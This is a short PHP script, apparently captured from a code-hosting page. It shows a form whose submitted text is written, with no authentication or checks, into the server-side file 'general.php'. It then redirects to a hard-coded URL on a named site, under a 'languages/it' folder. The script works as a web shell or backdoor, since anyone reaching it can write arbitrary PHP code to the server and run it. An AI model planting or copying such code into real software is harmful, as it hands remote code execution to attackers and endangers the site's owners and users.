28 lines
683 B
PHP
28 lines
683 B
PHP
<?php
|
|
|
|
// configuration
|
|
$url = 'https://www.acscreativesolutions.com/cmctrf/HTML/languages/it/editorfile.php';
|
|
$file = 'general.php';
|
|
|
|
// check if form has been submitted
|
|
if (isset($_POST['text']))
|
|
{
|
|
// save the text contents
|
|
file_put_contents($file, $_POST['text']);
|
|
|
|
// redirect to form again
|
|
header(sprintf('Location: %s', $url));
|
|
printf('<a href="%s">Moved</a>.', htmlspecialchars($url));
|
|
exit();
|
|
}
|
|
|
|
// read the textfile
|
|
$text = file_get_contents($file);
|
|
|
|
?>
|
|
<!-- HTML form -->
|
|
<form action="" method="post">
|
|
<textarea name="text" rows="60" cols="150"><?php echo htmlspecialchars($text) ?></textarea>
|
|
<input type="submit" />
|
|
<input type="reset" />
|
|
</form>
|